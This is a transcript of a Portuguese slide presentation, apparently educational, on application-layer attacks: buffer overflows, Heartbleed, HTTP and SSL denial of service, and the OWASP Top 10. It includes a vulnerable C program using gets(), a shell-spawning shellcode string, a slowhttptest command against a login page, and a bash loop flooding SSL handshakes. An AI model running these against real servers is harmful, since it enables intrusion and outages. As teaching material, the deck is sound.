ataques de camada 7

89
Ataques, vulnerabilidades e ferramentas em Aplicações Vitalino Victor Vargas Borges

Upload: vitalino-victor

Post on 24-Jul-2015

165 views

Category:

Technology


3 download

TRANSCRIPT

Page 1: Ataques de Camada 7

Ataques, vulnerabilidades e ferramentas em Aplicações

Vitalino Victor Vargas Borges

Page 2: Ataques de Camada 7

Assuntos abordados:●Software Exploitation

●Mobile Hacking

●Web Vulnerabilities

● DoS Attacks Layer 7

Page 3: Ataques de Camada 7

"Nós não precisaríamos gastar tanto tempo, dinheiro e esforço em segurança de redes se não tivéssemos uma segurança em software tão ruim." - Bruce Schneier

Page 4: Ataques de Camada 7

Software Exploitation

Page 5: Ataques de Camada 7

Programa vulnerável

Page 6: Ataques de Camada 7

Programa vulnerável

Page 7: Ataques de Camada 7

Buffer Overflow

Page 8: Ataques de Camada 7

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Page 9: Ataques de Camada 7

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Page 10: Ataques de Camada 7

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Page 11: Ataques de Camada 7

Programa vulnerável

#include <stdio.h>#include <string.h>

int main() { char nome[10]; printf(" Informe seu nome: "); gets(nome); printf(" Bom dia, %s\n", nome); return 0;}

Page 12: Ataques de Camada 7

Endereçamento de memória0x00000000

0xFFFFFFFF

.

.

.

Page 13: Ataques de Camada 7

0x00000000

0xFFFFFFFF

.

.

.

0xC0000000...

Endereçamento de memória

0xBFFFFFFF

KERNEL SPACE (1GB)

USER SPACE (3GB)

Page 14: Ataques de Camada 7

0x00000000

0xFFFFFFFF

.

.

.

0xC0000000...

Segmentos de memória

0xBFFFFFFF

KERNEL SPACE (1GB)

texto (código)

dados

bss

heap

stack

Page 15: Ataques de Camada 7

Segmento de código

Page 16: Ataques de Camada 7

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4instrução 5instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320instrução 6instrução 7instrução 8

.

.

.

0xbffff5840xbffff5...

0x80483150x41565959

Stack

Page 17: Ataques de Camada 7

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4gets 0xbffff570instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320

.

.

.

0xbffff584...0xbffff570

0x8048315

V V V V V

0x80483560x80456560x565656560x8565656Overflow????????0x56565656

Page 18: Ataques de Camada 7

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4gets 0xbffff570instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320

.

.

.

0xbffff584...0xbffff570

0x8048315

V V V V V

0x80483440x80484440x80484440x8048444Exploitation

0x80484440x80484450x80484460x8048447

(Outra função presente na área de código do programa)

instrução 1instrução 2instrução 3instrução 4

Page 19: Ataques de Camada 7

0x80483200x80483210x80483220x80483230x80483240x80483250x80483260x8048327

instrução 1instrução 2instrução 3instrução 4gets 0xbffff500instrução 6instrução 7instrução 8

0x80483100x80483110x80483120x80483130x80483140x80483150x80483160x8048317

instrução 1instrução 2instrução 3instrução 4call 0x8048320

.

.

.

0xbffff584

.

.

.

0xbffff500

0x8048315

0x90 0x90 0x90 0x90

Execução de código arbitrário0xbffff502

execl /bin/sh

Page 20: Ataques de Camada 7

0x00000000

.

.

.

Segmentos de memória

0xBFFFFFFF

texto (código)

dados

bss

heap

stack

Page 21: Ataques de Camada 7

65 64 6f 63 6c 6c 65 68 53

“Em segurança da informação, um shellcode é um pequeno pedaço de código usado como payload na exploração de uma vulnerabilidade de software.“ - Wikipédia

Page 22: Ataques de Camada 7

Shellcode

“Em segurança da informação, um shellcode é um pequeno pedaço de código usado como payload na exploração de uma vulnerabilidade de software.“ - Wikipédia

Page 23: Ataques de Camada 7

Shellcode "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"

Page 24: Ataques de Camada 7

Shellcode108 Bytes

NOPs Shellcode Return addr

Page 25: Ataques de Camada 7

Trapdoor

Page 26: Ataques de Camada 7

Trapdoor“ Um trapdoor é um ponto de entrada em um sistema de processamento de informações que contorna as medidas normais de segurança. Em geral, é um programa oculto ou um componente eletrônico que faz com que o sistema de proteção seja ineficaz se certas ordens não documentadas são colocados para ele.” - Security Internet

Page 27: Ataques de Camada 7

Trapdoor● “Durante o desenvolvimento, é comumdeixar um backdoor para ter acessoirrestrito à execução do programa.”

● “Quando o sistema é lançado, muitasvezes esquecem do backdoor geradono desenvolvimento.”

- Ti Safe

Page 28: Ataques de Camada 7
Page 29: Ataques de Camada 7
Page 30: Ataques de Camada 7
Page 31: Ataques de Camada 7
Page 32: Ataques de Camada 7
Page 33: Ataques de Camada 7
Page 34: Ataques de Camada 7
Page 35: Ataques de Camada 7

VsFTPd 2.3.4 Backdoor Command Execution

CVE-2011-252

Page 36: Ataques de Camada 7

Heartbleed

Page 37: Ataques de Camada 7

Heartbeat

Page 38: Ataques de Camada 7

Heartbeat

Page 39: Ataques de Camada 7

Heartbeat

Page 40: Ataques de Camada 7

Heartbleed

Page 41: Ataques de Camada 7

Heartbleed

“- Servidor, você ainda está aí?”“- Se sim, responda 'POTATO' (6 letras)”

Page 42: Ataques de Camada 7

Heartbleed

Page 43: Ataques de Camada 7

Heartbleed

“- Servidor, você ainda está aí?”“- Se sim, responda 'BIRD' (4 letras)”

Page 44: Ataques de Camada 7

Heartbleed

Page 45: Ataques de Camada 7

Heartbleed

“- Servidor, você ainda está aí?”“- Se sim, responda 'HAT' (500 letras)”

Page 46: Ataques de Camada 7

Heartbleed

Page 47: Ataques de Camada 7

Heartbleed

Demonstração OpenSSL 1.0.1e

Page 48: Ataques de Camada 7

Heartbleed

Demonstração servidores reais!

Page 49: Ataques de Camada 7

DoS Attacks Layer 7

Page 50: Ataques de Camada 7

Modelo OSI

Page 51: Ataques de Camada 7

Ataques DoS

● Loop● Ataque de desautenticação (Wireless 802.11)

● ICMP Flood (Ping of Death, Smurf)● ARP Flood, ARP Poisoning● Teardrop

● TCP Flood (SYN, 3WayHandshake)● UDP Flood

Page 52: Ataques de Camada 7

HTTP DoS

Page 53: Ataques de Camada 7

Métodos HTTP

●GET●POST●HEAD●OPTIONS●CONNECT●DELETE●TRACE●PUT

Page 54: Ataques de Camada 7

Métodos HTTP

●GET●POST●HEAD●OPTIONS●CONNECT●DELETE●TRACE●PUT

Page 55: Ataques de Camada 7

Método GET

Page 56: Ataques de Camada 7

Método POST

Page 57: Ataques de Camada 7

HTTP Method POST Flood

Page 58: Ataques de Camada 7

HTTP Method POST Flood

./slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -u http://192.168.1.34/ocomon_2.0-RC6/includes/common/login.php -x 10 -p 3

Page 59: Ataques de Camada 7

Apache Range Header AttackCVE-2011-3192

Codinome: ApacheKill

● “Requisita paralelamente pequenos pedaços do conteúdo de forma comprimida (gzip)”

● “Força o webserver a realizar diversas operações de compressão paralelas e simultâneas alto =processamento.”

- SEIDL, Jan

Page 60: Ataques de Camada 7

Apache Range Header AttackCVE-2011-3192

Codinome: ApacheKill

Page 61: Ataques de Camada 7

Apache Range Header AttackCVE-2011-3192

Codinome: ApacheKill

Page 62: Ataques de Camada 7

HTTP Slow Attack

●Possui variações●Slow Headers: Campos de um único cabeçalho HTTP enviados lentamente.

●Slow Post: (já explicado)●Slow Read: realiza comunicações HTTP legítimas, mas manipulando os cabeçalhos TCP deixando-os com tamanho de janela 0

Page 63: Ataques de Camada 7

HTTP Slow Attack

GET /ocomon_2.0-RC6/index.php HTTP/1.1Host: 192.168.1.34...

User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/30.0Accept: text/html,application/xhtml+xml,application/xml;...

Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate

Page 64: Ataques de Camada 7

SSL DoS

Page 65: Ataques de Camada 7

T.L.STransport Layer Security

S.S.LSecure Socket Layer

Page 66: Ataques de Camada 7

SSL Handshake Attack

“Estabelecer uma conexão segura SSL requer 15x mais processamento do servidor do que no cliente.” - THC SSL DoS

Page 67: Ataques de Camada 7

SSL Handshake Attack

thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done }

for x in `seq 1 100`; do thc-ssl-dosit & done

Page 68: Ataques de Camada 7

SSL Handshake Attack

Page 69: Ataques de Camada 7

rDDoS

Page 70: Ataques de Camada 7

Exemplos de protocolos

● SNMP● DNS● NTP...

Page 71: Ataques de Camada 7

DNS rDDoS attack

Page 72: Ataques de Camada 7

DNS rDDoS attack

Page 73: Ataques de Camada 7

DNS rDDoS attack

Page 74: Ataques de Camada 7

Web Vulnerabilities

Page 75: Ataques de Camada 7

OWASP “A Open Web Application Security Project (OWASP) é uma entidade sem fins lucrativos e de reconhecimento internacional, que contribui para a melhoria da segurança de softwares aplicativos reunindo informações importantes que permitem avaliar riscos de segurança e combater formas de ataques através da internet.“ - Rede Segura

Page 76: Ataques de Camada 7

OWASP - Top 10 “O trabalho mais conhecido da OWASP é sua lista “The Top 10 Most Critical Web Application Security Risks”, que reúne os riscos de ataque mais críticos exploráveis a partir de vulnerabilidades nas aplicações web.“ - Rede Segura

Page 77: Ataques de Camada 7

A1: Injection Flaws

Page 78: Ataques de Camada 7

ProFtpd - FTP server

Page 79: Ataques de Camada 7

A2-Broken Authentication and Session Management

Page 80: Ataques de Camada 7

A3-Cross-Site Scripting (XSS)

Page 81: Ataques de Camada 7

A4-Insecure Direct Object References

Page 82: Ataques de Camada 7

A5-Security Misconfiguration

Page 83: Ataques de Camada 7

A6-Sensitive Data Exposure

Page 84: Ataques de Camada 7

A7-Missing Function Level Access Control

Page 85: Ataques de Camada 7

A8-Cross-Site Request Forgery (CSRF)

Page 86: Ataques de Camada 7

A9-Using Components with Known Vulnerabilities

Page 87: Ataques de Camada 7

A10-Unvalidated Redirects and Forwards

Page 88: Ataques de Camada 7

Mobile Hacking

Page 89: Ataques de Camada 7

Fim